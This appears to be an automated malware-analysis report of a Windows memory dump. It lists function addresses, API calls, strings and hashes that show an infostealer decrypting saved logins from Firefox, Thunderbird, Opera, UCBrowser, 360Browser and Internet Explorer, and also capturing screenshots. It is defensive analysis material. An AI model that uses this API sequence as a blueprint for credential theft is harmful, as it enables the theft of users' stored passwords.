String ID: -{LXAYk_HH$BS[E$Internet Explorer$vaultcli.dll
API String ID: 4222390991-1505458194
Opcode ID: 194388b64e2bf80975f6b9216c81d7311843e3b5cb8006c92fdfdaf9ae7e0458
Instruction ID: bcb705ad5140a38fa50b9586dcf461baaee5ef563a446fe45340e62dc707dd7a
Opcode Fuzzy Hash: 194388b64e2bf80975f6b9216c81d7311843e3b5cb8006c92fdfdaf9ae7e0458
Instruction Fuzzy Hash: 6AF191B0D002589FEF14DFA8EC88BEEBBB8EF49304F40446AE445E7211E7749945CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041B83F, Relevance: 53.8, APIs: 6, Strings: 24, Instructions: 1318COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000001,00000000), ref: 0041B879

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,00000001,00000000), ref: 0041B9DB

Part of subcall function 00409F48: ___std_fs_copy_file@12.LIBCPMT ref: 00409F6C

NSS_Shutdown.NSS3(?,00000001,?,00000001,?,?,?,?,?,?,00000001,00000000), ref: 0041CD2D

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

sqlite3_finalize.NSS3(?), ref: 0041C01C
sqlite3_close.NSS3(?), ref: 0041C029
__fread_nolock.LIBCMT ref: 0041C233

Part of subcall function 0041B699: _strlen.LIBCMT ref: 0041B70B
Part of subcall function 0041B699: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,00001FA0,00000000,00000000), ref: 0041B713
Part of subcall function 0041B699: PK11_GetInternalKeySlot.NSS3(?,00000000,00000001,?,00001FA0,00000000,00000000,?,logins,logins), ref: 0041B721
Part of subcall function 0041B699: PK11_FreeSlot.NSS3(?,?,00001FA0,00000000,00000000,?,logins,logins), ref: 0041B7FA

Strings

( , xrefs: 0041C851
d}a, xrefs: 0041C074
U3:', xrefs: 0041CA47
!7, xrefs: 0041C4F2
%, xrefs: 0041CCA9
A'.3, xrefs: 0041C7DA
ig`}, xrefs: 0041C068
logins, xrefs: 0041C2AD, 0041C2C6
Profiles, xrefs: 0041B88B
`, xrefs: 0041C07E
qkdh, xrefs: 0041C576
es, xrefs: 0041C3D6
2$, xrefs: 0041C8A7
,p@C, xrefs: 0041BAB1
KEB_, xrefs: 0041BAB8
ThunderBird, xrefs: 0041C312
ck, xrefs: 0041C469
^V, xrefs: 0041C941
j9%,>PJ, xrefs: 0041CC47
ME, xrefs: 0041C379
B, xrefs: 0041BAC8
`, xrefs: 0041C57F
8<!, xrefs: 0041CA5D
U9:2<;&{?&:;, xrefs: 0041C15A

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: DeallocateK11_Slot$BinaryCryptFolderFreeInitInternalPathShutdownString___std_fs_copy_file@12__fread_nolock_strcat_strlensqlite3_closesqlite3_finalize
String ID: d}a$!7$%$( $,p@C$2$$8<!$A'.3$B$KEB_$ME$Profiles$ThunderBird$U9:2<;&{?&:;$U3:'$^V$`$`$ck$es$ig`}$j9%,>PJ$logins$qkdh
API String ID: 1243779993-3404468107
Opcode ID: 060d50153125eb4507a92fc9210ac301192df87ce9f31e289ca6ee51dc7633c9
Instruction ID: e922eb84b31914e813b7f0532a7bb1347d9c7f7e42ef28533b8ed5101ff46a6b
Opcode Fuzzy Hash: 060d50153125eb4507a92fc9210ac301192df87ce9f31e289ca6ee51dc7633c9
Instruction Fuzzy Hash: CDD29770D042A88ADB25DBA8CD90BEDBBB1AF19304F1441EED44963282DB745FC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE8D, Relevance: 39.1, APIs: 14, Strings: 8, Instructions: 583libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

SetCurrentDirectoryA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00000000), ref: 0041B05E

Part of subcall function 00434F64: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 00434FAE

LoadLibraryA.KERNEL32(00000000,?,00000000,00000000), ref: 0041B346
GetProcAddress.KERNEL32(00000000,?), ref: 0041B393
GetProcAddress.KERNEL32(00000000,?), ref: 0041B3D7
GetProcAddress.KERNEL32(00000000,?), ref: 0041B413
GetProcAddress.KERNEL32(00000000,2F2F327C), ref: 0041B455
GetProcAddress.KERNEL32(00000000,?), ref: 0041B489
GetProcAddress.KERNEL32(00000000,?), ref: 0041B4B7
GetProcAddress.KERNEL32(00000000,?), ref: 0041B4F5
GetProcAddress.KERNEL32(00000000,?), ref: 0041B526
GetProcAddress.KERNEL32(00000000,?), ref: 0041B564
GetProcAddress.KERNEL32(00000000,?), ref: 0041B598
GetProcAddress.KERNEL32(00000000,?), ref: 0041B5C8
GetProcAddress.KERNEL32(00000000,7A7F6260), ref: 0041B607

Strings

[dg|, xrefs: 0041B3F2
gv L, xrefs: 0041B5DB
v, xrefs: 0041B5E9
#mpp|jMJW, xrefs: 0041B37F
9WLUU, xrefs: 0041AECD
RC^R, xrefs: 0041B578
dCmq, xrefs: 0041B3EB
F57*, xrefs: 0041B4C0

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$CurrentDirectoryEnvironmentLibraryLoadVariable_strcat
String ID: #mpp|jMJW$9WLUU$F57*$RC^R$[dg|$dCmq$gv L$v
API String ID: 737876789-4035185233
Opcode ID: 4fd25c29b1582bc5f8d693b744e9a948e71ec1f78fa0bf4b19abc2bd9ebcef68
Instruction ID: 5dfcec0a17e2e28b0de8dd5ace8a27653f5fd90c5bf648ff5371bf9aaf212c46
Opcode Fuzzy Hash: 4fd25c29b1582bc5f8d693b744e9a948e71ec1f78fa0bf4b19abc2bd9ebcef68
Instruction Fuzzy Hash: 18322F30D01288CADF05EBA8D9547EEBBF1EF59304F28496ED401A7292D7784E85CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004266C0, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 193windowmemoryfileCOMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(?,?,00000000), ref: 004266F3
GetDesktopWindow.USER32 ref: 004266F9
GetWindowRect.USER32 ref: 00426706
GetWindowDC.USER32(00000000), ref: 0042670D
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0042672D
CreateCompatibleDC.GDI32(00000000), ref: 00426736
CreateDIBSection.GDI32(?,00000028,00000001,?,00000000,00000000), ref: 00426781
DeleteDC.GDI32(00000000), ref: 00426795
DeleteDC.GDI32(?), ref: 0042679A
SaveDC.GDI32(00000000), ref: 004267A1
SelectObject.GDI32(00000000,?), ref: 004267AD
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 004267C6
RestoreDC.GDI32(00000000,00000000), ref: 004267CE
DeleteDC.GDI32(00000000), ref: 004267DB
DeleteDC.GDI32(?), ref: 004267E0
GdipAlloc.GDIPLUS(00000010), ref: 004267E4
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 00426804
_mbstowcs.LIBCMT ref: 00426877
GdipSaveImageToFile.GDIPLUS(?,00000000,?,?), ref: 00426894
DeleteObject.GDI32(00000010), ref: 004268B9
GdiplusShutdown.GDIPLUS(?), ref: 004268C2

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Strings

(, xrefs: 00426755

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Delete$CreateGdipWindow$GdiplusObjectSave$AllocBitmapCapsCompatibleDeallocateDesktopDeviceFileFromImageRectRestoreSectionSelectShutdownStartup_mbstowcs
String ID: (
API String ID: 6261361-3887548279
Opcode ID: 93607350ed450a415458ba5570fcc2ad020c1fe7fbccf74ec5b3ef8e86b682b1
Instruction ID: 0c1cafd06d12ba4b0476b16f431330ae24400dbc15d708fa37a0a3715086ceaa
Opcode Fuzzy Hash: 93607350ed450a415458ba5570fcc2ad020c1fe7fbccf74ec5b3ef8e86b682b1
Instruction Fuzzy Hash: 297116B1D00219EFDB11DFA5DC849AEBBB8FF08340F10412AE956E7210E7745945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B8C4, Relevance: 29.1, APIs: 13, Strings: 3, Instructions: 1089libraryloaderencryptionCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 0040B923
GetProcAddress.KERNEL32(?,?), ref: 0040B967
GetProcAddress.KERNEL32(?,?), ref: 0040B9B5
GetProcAddress.KERNEL32(?,?), ref: 0040BA02
GetProcAddress.KERNEL32(?,?), ref: 0040BA4C
GetProcAddress.KERNEL32(?,?), ref: 0040BA96
GetProcAddress.KERNEL32(?,?), ref: 0040BAD9
GetProcAddress.KERNEL32(?,?), ref: 0040BB1B
wsprintfA.USER32 ref: 0040BB8E

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040C3E5
LocalFree.KERNEL32(?,?,?), ref: 0040C44D
LocalFree.KERNEL32(?), ref: 0040C514

Part of subcall function 0040A1F6: BCryptOpenAlgorithmProvider.BCRYPT(?,AES,00000000,00000000), ref: 0040A261
Part of subcall function 0040A1F6: BCryptSetProperty.BCRYPT(?,ChainingMode,ChainingModeGCM,00000020,00000000), ref: 0040A27F
Part of subcall function 0040A1F6: BCryptGenerateSymmetricKey.BCRYPT(?,00000010,00000000,00000000,?,00000020,00000000), ref: 0040A2A0
Part of subcall function 0040A1F6: LocalAlloc.KERNEL32(00000040,?), ref: 0040A2F7
Part of subcall function 0040A1F6: BCryptDecrypt.BCRYPT(00000010,?,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040A322

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040C4D0

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

Strings

Opera, xrefs: 0040C081
UCBrowser, xrefs: 0040BC81
360Browser, xrefs: 0040BC98

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$Crypt$Local$DataDeallocateFreeUnprotect$AlgorithmAllocDecryptGenerateOpenPropertyProviderSymmetric_strcatwsprintf
String ID: 360Browser$Opera$UCBrowser
API String ID: 2443936805-2459207352
Opcode ID: 726a71344bfa29dcaf67215a3ba6b0914f8eb2635d1873bc8b8a8a4ff1eae937
Instruction ID: e5cbb7c87616021471698b0d13c606ba590b3ecb7da0680ca3cabe5490b3a0a2
Opcode Fuzzy Hash: 726a71344bfa29dcaf67215a3ba6b0914f8eb2635d1873bc8b8a8a4ff1eae937
Instruction Fuzzy Hash: 55A2CC30D01268DBDB21EB64CC94BEDBBB1AF55304F1085EAE449B7292DB745E88CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004245C3, Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 169encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,00000000,?,00000000), ref: 004245E8
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,00000000,?,00000000), ref: 00424609
lstrlenW.KERNEL32(?,?,00000000), ref: 00424618
CryptHashData.ADVAPI32(00000000,?,00000000,00000000,?,00000000), ref: 0042462B
CryptGetHashParam.ADVAPI32(00000000,00000002,?,?,00000000,?,00000000), ref: 0042464E
wsprintfW.USER32 ref: 0042468A
lstrcatW.KERNEL32(00000000,?), ref: 00424698
wsprintfW.USER32 ref: 004246B8
lstrcatW.KERNEL32(00000000,?), ref: 004246C6
CryptDestroyHash.ADVAPI32(00000000,?,00000000), ref: 004246CF
CryptReleaseContext.ADVAPI32(?,00000000,?,00000000), ref: 004246DA
lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 00424721
CryptUnprotectData.CRYPT32(?,00000000,00424915,00000000,00000000,00000001,?), ref: 00424744
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 0042477D

Strings

%02X, xrefs: 00424684, 004246B2
Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 004246F4

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Crypt$Hash$ContextDatalstrcatlstrlenwsprintf$AcquireCreateDestroyFreeLocalParamReleaseUnprotect
String ID: %02X$Software\Microsoft\Internet Explorer\IntelliForms\Storage2
API String ID: 1004607082-2450551051
Opcode ID: 7b3678e2a4b6f49427444d788aa308297a44d86972794cff72e56fd13019d92d
Instruction ID: c124676e6240767da8e88dde9fd78c02153400b51e3c5cdc35d1e3984c90eb7c
Opcode Fuzzy Hash: 7b3678e2a4b6f49427444d788aa308297a44d86972794cff72e56fd13019d92d
Instruction Fuzzy Hash: 385130B1E00219AFEB119BE4EC49FFF77BCEF45300F14402AE511E2151E7B89A058B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEC3, Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 699libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 0040AF10
GetProcAddress.KERNEL32(?,?), ref: 0040AF42
GetProcAddress.KERNEL32(?,?), ref: 0040AF81
GetProcAddress.KERNEL32(?,?), ref: 0040AFB9
GetProcAddress.KERNEL32(?,?), ref: 0040AFEE
GetProcAddress.KERNEL32(?,?), ref: 0040B01F
GetProcAddress.KERNEL32(?,?), ref: 0040B061
wsprintfA.USER32 ref: 0040B0D5

Part of subcall function 0040A09D: CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,?,?,00000000,00000000,00409FFE), ref: 0040A0B0
Part of subcall function 0040A09D: DeleteFileTransactedA.KERNEL32 ref: 0040A0C7
Part of subcall function 0040A09D: CommitTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000,00000000,00409FFE,?,?,?,00415E88,00000000), ref: 0040A0D2

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Part of subcall function 0040AE7D: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0040AEAB

Strings

Opera, xrefs: 0040B3A0

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$Transaction$CommitCreateDeallocateDeleteFileIos_base_dtorTransactedstd::ios_base::_wsprintf
String ID: Opera
API String ID: 209369551-505338728
Opcode ID: a6a09e7873311b4ce3401747279d34bfcb7bbe47a68e410ccbf505d86618d311
Instruction ID: 7938b29c6b68173c65fa48dc4cbf43f48e5eb7559bde593ba5b678f449395b8a
Opcode Fuzzy Hash: a6a09e7873311b4ce3401747279d34bfcb7bbe47a68e410ccbf505d86618d311
Instruction Fuzzy Hash: 3652BF30C0025C9FDF15EBA4DC94AEDBBB4AF15308F5084AEE44977292EB745E88CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7BA, Relevance: 18.0, APIs: 9, Strings: 1, Instructions: 499libraryloaderencryptionCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 0040A807
GetProcAddress.KERNEL32(?,?), ref: 0040A839
GetProcAddress.KERNEL32(?,?), ref: 0040A878
GetProcAddress.KERNEL32(?,?), ref: 0040A8B0
GetProcAddress.KERNEL32(?,?), ref: 0040A8E5
GetProcAddress.KERNEL32(?,?), ref: 0040A916
GetProcAddress.KERNEL32(?,BDA0A22E), ref: 0040A958
wsprintfA.USER32 ref: 0040A9B9
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040AC03

Strings

4, xrefs: 0040AD81

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$CryptDataUnprotectwsprintf
String ID: 4
API String ID: 425045506-4088798008
Opcode ID: 64a19c964a2bb7415d4c1f7fc9ca65289cd1253c9a59a1ff08087690b74111fb
Instruction ID: f6f699f2bf6e44d78b6ef89c81678a9c95a63e431ce84a04998ab7d5a8403ac4
Opcode Fuzzy Hash: 64a19c964a2bb7415d4c1f7fc9ca65289cd1253c9a59a1ff08087690b74111fb
Instruction Fuzzy Hash: 41120330D0039C9BDF11EFA4D8406EEBBB5AF59304F1480AEE445B72A2DB741E89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0043D521, Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 466COMMON

Download Yara Rule

Strings

UT, xrefs: 0043D806
/, xrefs: 0043D5B8

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 040b19a4efd7301814899f8ee10108d121be0949af27eaccaacab8e52d593ece
Instruction ID: 31ff6efe10c0b75e68c366efedcf6d2638694264be0941cf219da1e5007aed58
Opcode Fuzzy Hash: 040b19a4efd7301814899f8ee10108d121be0949af27eaccaacab8e52d593ece
Instruction Fuzzy Hash: 1502AE71A083419BD725DF69E4807ABF7E4BF99308F14182EF88583351D738E849CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00424796, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97stringencryptionCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 004247BC
lstrlenW.KERNEL32(00000002), ref: 004247CD
CredEnumerateW.SECHOST(Microsoft_WinInet_*,00000000,00000000,?), ref: 004247F6
CryptUnprotectData.CRYPT32(?,00000000,0000004A,00000000,00000000,00000001,?), ref: 0042483C
LocalFree.KERNEL32(?), ref: 00424866
CredFree.ADVAPI32(?), ref: 0042487F

Strings

Microsoft_WinInet_*, xrefs: 004247F1
J, xrefs: 004247D6
abe2869f-9b47-4cd9-a358-c22904dba7f7, xrefs: 004247AA

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CredFreelstrlen$CryptDataEnumerateLocalUnprotect
String ID: J$Microsoft_WinInet_*$abe2869f-9b47-4cd9-a358-c22904dba7f7
API String ID: 186292201-3120203912
Opcode ID: 3d2de0325e9abd8678ca8313384af61c5419a4cae62e3185ef984aeec967eb3a
Instruction ID: e934e653e0407fd26a4c540c6639f549db8f7d2993c94c9c4cb165967ec2ea1c
Opcode Fuzzy Hash: 3d2de0325e9abd8678ca8313384af61c5419a4cae62e3185ef984aeec967eb3a
Instruction Fuzzy Hash: E9315776E00258EBCB20DFA5DC849EFBBB9FB84710F50416AE911E3241E7749A01CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBD7, Relevance: 14.7, APIs: 5, Strings: 3, Instructions: 654encryptionCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CBEE

Part of subcall function 00434F64: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 00434FAE

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

Part of subcall function 00409F48: ___std_fs_copy_file@12.LIBCPMT ref: 00409F6C

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040D255
LocalFree.KERNEL32(?,?,?,?,00000003,?), ref: 0040D2B4
LocalFree.KERNEL32(?), ref: 0040D369

Part of subcall function 0040A1F6: BCryptOpenAlgorithmProvider.BCRYPT(?,AES,00000000,00000000), ref: 0040A261
Part of subcall function 0040A1F6: BCryptSetProperty.BCRYPT(?,ChainingMode,ChainingModeGCM,00000020,00000000), ref: 0040A27F
Part of subcall function 0040A1F6: BCryptGenerateSymmetricKey.BCRYPT(?,00000010,00000000,00000000,?,00000020,00000000), ref: 0040A2A0
Part of subcall function 0040A1F6: LocalAlloc.KERNEL32(00000040,?), ref: 0040A2F7
Part of subcall function 0040A1F6: BCryptDecrypt.BCRYPT(00000010,?,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040A322

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040D32E

Part of subcall function 0040A09D: CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,?,?,00000000,00000000,00409FFE), ref: 0040A0B0
Part of subcall function 0040A09D: DeleteFileTransactedA.KERNEL32 ref: 0040A0C7
Part of subcall function 0040A09D: CommitTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000,00000000,00409FFE,?,?,?,00415E88,00000000), ref: 0040A0D2

Strings

Opera, xrefs: 0040CF22
UCBrowser, xrefs: 0040CD16
360Browser, xrefs: 0040CD2B

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Crypt$Local$DataFreeTransactionUnprotect$AlgorithmAllocCommitCreateDeallocateDecryptDeleteEnvironmentFileGenerateOpenPropertyProviderSymmetricTransactedVariable___std_fs_copy_file@12_strcatwsprintf
String ID: 360Browser$Opera$UCBrowser
API String ID: 1851932794-2459207352
Opcode ID: 023eb6bd4e89a6c5ede47ada970d5587074f40984e7f33de134e150ad514262d
Instruction ID: 5061e0cd311ccdaaec006cb012361fa1a9b3c15271b178a680f68e0a53cb1dfc
Opcode Fuzzy Hash: 023eb6bd4e89a6c5ede47ada970d5587074f40984e7f33de134e150ad514262d
Instruction Fuzzy Hash: E3527A30D00258DBDF25EBA4DC95AEDBB71AF14308F1041EEE40977292EB785E88CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4E6, Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 404timeCOMMON

Download Yara Rule

APIs

Part of subcall function 004197AF: SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0041999E,00000002,?,00000000,00000244,?,?,00419AD1,?,00000000,00000244), ref: 004197E2

_strcat.LIBCMT ref: 0041A659
_strcat.LIBCMT ref: 0041A6D4
SystemTimeToFileTime.KERNEL32(?,000007BC), ref: 0041A829
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0041A849

Strings

/..\, xrefs: 0041A6BB
\..\, xrefs: 0041A683
\../, xrefs: 0041A699
/../, xrefs: 0041A6AA

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileTime$_strcat$LocalPointerSystem
String ID: /../$/..\$\../$\..\
API String ID: 3418985325-3885502717
Opcode ID: 248283ba708bf9fb54c0d8ba4f3e1faa60af65edae79cbc3a176112540c695ed
Instruction ID: 0221ffb88f98342ab8f47a0cf3f9dc5c3b5bf45057c8468b94213e90b95ef1ee
Opcode Fuzzy Hash: 248283ba708bf9fb54c0d8ba4f3e1faa60af65edae79cbc3a176112540c695ed
Instruction Fuzzy Hash: 8FE1D1715093419BC315CF29C4816EBBBE1AF89304F18892FE4E9C7382D739D995CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00436680, Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 343registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020119,?,?,?,00000000), ref: 00436726
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,?,?,?,00000000), ref: 00436772
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0043677B

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Strings

;98;)[;, xrefs: 004368CD, 004368D4
7, xrefs: 004366F9
,++<, xrefs: 004366D9
+*06, xrefs: 004366F2

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CloseDeallocateOpenQueryValue
String ID: +*06$,++<$7$;98;)[;
API String ID: 1671097480-3924256760
Opcode ID: 09b72693697ab0b7bdbdbbbd4f8ac2cd591fcbf5a823bc7519cf8309a8bf5dcf
Instruction ID: 5240e95c1a17772e48c35d1663afe99a0bd715f043b67e231c6b09c4d4abe847
Opcode Fuzzy Hash: 09b72693697ab0b7bdbdbbbd4f8ac2cd591fcbf5a823bc7519cf8309a8bf5dcf
Instruction Fuzzy Hash: 97D138B0D00349AEDF25DFA5C8947EEBBB8AF19304F10816FD446B7282D7781A49CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5AD, Relevance: 12.5, APIs: 8, Instructions: 467libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 0040D5FD
GetProcAddress.KERNEL32(?,?), ref: 0040D62F
GetProcAddress.KERNEL32(?,?), ref: 0040D66E
GetProcAddress.KERNEL32(?,?), ref: 0040D6A6
GetProcAddress.KERNEL32(?,?), ref: 0040D6DB
GetProcAddress.KERNEL32(?,?), ref: 0040D70C
GetProcAddress.KERNEL32(?,A9B4B63A), ref: 0040D74E
wsprintfA.USER32 ref: 0040D7AF

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

Part of subcall function 0040DC35: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0040DC63

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$DeallocateIos_base_dtorstd::ios_base::_wsprintf
String ID:
API String ID: 2775529961-0
Opcode ID: 0c9f205d21502136e705fd55de6c6f06996f760c80d1ad63aa5b4b56d6cabc57
Instruction ID: 7f9e7b1275ce280a605617208e1969e05cadb559c3a3bdfc07f09e4520e1b117
Opcode Fuzzy Hash: 0c9f205d21502136e705fd55de6c6f06996f760c80d1ad63aa5b4b56d6cabc57
Instruction Fuzzy Hash: C8120430D0429C9BDF11EFA8DC40AEEBBB0BF55304F1481AEE445772A2DB741A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040DC7B, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 472librarystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00434F64: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 00434FAE

Part of subcall function 00434ACB: _strcat.LIBCMT ref: 00434B28

LoadLibraryA.KERNEL32(00000000), ref: 0040DCBA
SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001C,00000000), ref: 0040DCEF
lstrcatW.KERNEL32(?,00479484), ref: 0040DD2F

Part of subcall function 0040A3FB: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 0040A518
Part of subcall function 0040A3FB: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 0040A51F

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

FreeLibrary.KERNEL32(?), ref: 0040E2F5

Strings

Opera, xrefs: 0040DD35

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FreeHeapLibrary$DeallocateEnvironmentFolderLoadPathProcessSpecialVariable_strcatlstrcat
String ID: Opera
API String ID: 1644207209-505338728
Opcode ID: b84b9bbef33bd8eb03c3d690c35e494861d214d5613c0738e39bb7b00b5e4bdc
Instruction ID: a56eee6eb0c3075a55c8c340f0cebbb9fb09d4e47f9269bd41bf252afc915739
Opcode Fuzzy Hash: b84b9bbef33bd8eb03c3d690c35e494861d214d5613c0738e39bb7b00b5e4bdc
Instruction Fuzzy Hash: 4E12C371D00209DFDF14EBA5C9457EEBBB4AF01309F10446EE4057B2C2DB785A99CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042488A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0046C990,00000000,00000015,0046C9B0,?), ref: 004248AA
StrStrIW.SHLWAPI(?,0047D774), ref: 004248FB
CoTaskMemFree.OLE32(?), ref: 00424919
CoTaskMemFree.OLE32(?), ref: 00424927

Strings

(, xrefs: 004248DF

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FreeTask$CreateInstance
String ID: (
API String ID: 2903366249-3887548279
Opcode ID: 9ae798e4799b60fd1db3eef6985ff4473c5b80904585ea00c0eeb34dc52b9fc8
Instruction ID: 24f00eef687ba5138ea879cf40e2debaa4f2dc950c0f436f247f0e9733d122f3
Opcode Fuzzy Hash: 9ae798e4799b60fd1db3eef6985ff4473c5b80904585ea00c0eeb34dc52b9fc8
Instruction Fuzzy Hash: A6216BB4B00219EFCB00DFA9E884DAEBBB9FF88304B10816AF415E7250DB749D44CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0043E217, Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(000000FF,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508,?,?,?,0041081C,00411508,00000000,00411508,?), ref: 0043E223
FindFirstFileExW.KERNEL32(000000FF,00000001,?,00000000,00000000,00000000,?,?,?,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 0043E253
